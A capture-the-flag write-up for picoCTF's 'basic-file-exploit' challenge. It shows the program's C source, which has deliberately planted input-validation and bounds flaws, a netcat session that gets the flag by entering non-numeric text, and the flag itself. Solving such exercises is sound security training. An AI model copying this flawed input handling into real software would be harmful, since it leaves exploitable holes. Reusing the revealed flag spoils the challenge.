Introduction

Challenge: basic-file-exploit

Category: Binary Exploitation

Description: The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it! Connect to the program with netcat:

$ nc saturn.picoctf.net 52681

The program's source code with the flag redacted can be downloaded here.

Solution

The program that we are provided with is a simple "read and write" program. Let's download the source code and take a look at it.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60


static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;

    if( l <= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }


    /* Empty the FD Set */
    FD_ZERO(&input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


static void data_write() {
  char input[100];
  char len[4];
  long length;
  int r;

  printf("Please enter your data:\n");
  r = tgetinput(input, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  while (true) {
    printf("Please enter the length of your data:\n");
    r = tgetinput(len, 4);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((length = strtol(len, NULL, 10)) == 0) {
      puts("Please put in a valid length");
    } else {
      break;
    }
  }

  if (inputs > 10) {
    inputs = 0;
  }

  strcpy(data[inputs], input);
  input_lengths[inputs] = length;

  printf("Your entry number is: %d\n", inputs + 1);
  inputs++;
}


static void data_read() {
  char entry[4];
  long entry_number;
  char output[100];
  int r;

  memset(output, '\0', 100);

  printf("Please enter the entry number of your data:\n");
  r = tgetinput(entry, 4);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

  entry_number--;
  strncpy(output, data[entry_number], input_lengths[entry_number]);
  puts(output);
}


int main(int argc, char** argv) {
  char input[3] = {'\0'};
  long command;
  int r;

  puts("Hi, welcome to my echo chamber!");
  puts("Type '1' to enter a phrase into our database");
  puts("Type '2' to echo a phrase in our database");
  puts("Type '3' to exit the program");

  while (true) {   
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");
    } else if (command == 1) {
      data_write();
      puts("Write successful, would you like to do anything else?");
    } else if (command == 2) {
      if (inputs == 0) {
        puts("No data yet");
        continue;
      }
      data_read();
      puts("Read successful, would you like to do anything else?");
    } else if (command == 3) {
      return 0;
    } else {
      puts("Please type either 1, 2 or 3");
      puts("Maybe breaking boundaries elsewhere will be helpful");
    }
  }

  return 0;
}

Let's try to run the program using netcat. netcat or nc is a tool that allows you to access shells or programs throughout the network. Basically, it's a networking tool.

nc saturn.picoctf.net 52681

It outputs the following:

Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program

Let's type '1' to enter a phrase, "Hello":

Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
Hello
Hello

After that, the program asks me the length of your data. In our case, it's 5.

Please enter the length of your data:
5
5
Your entry number is: 1
Write successful, would you like to do anything else?

Let's now try to read that data using our entry number:

Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
1
1
Hello
Read successful, would you like to do anything else?

Let's again take a look at our source code to see if we can find something useful. Yeah, I found something between lines 143 and 147:

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
  }

This condition is basically checking if we provided an entry number that is not a number. It will print the flag. Let's try this.

Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
Hello
Hello
Please enter the length of your data:
5
5
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
somerandomstuff
somerandomstuff
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}

And yeah, we got the flag, you can now grab the flag and submit it on the picoCTF website.

Conclusion

So basically, what we did is that we break the program that leads it to print the flag.

Flag: picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}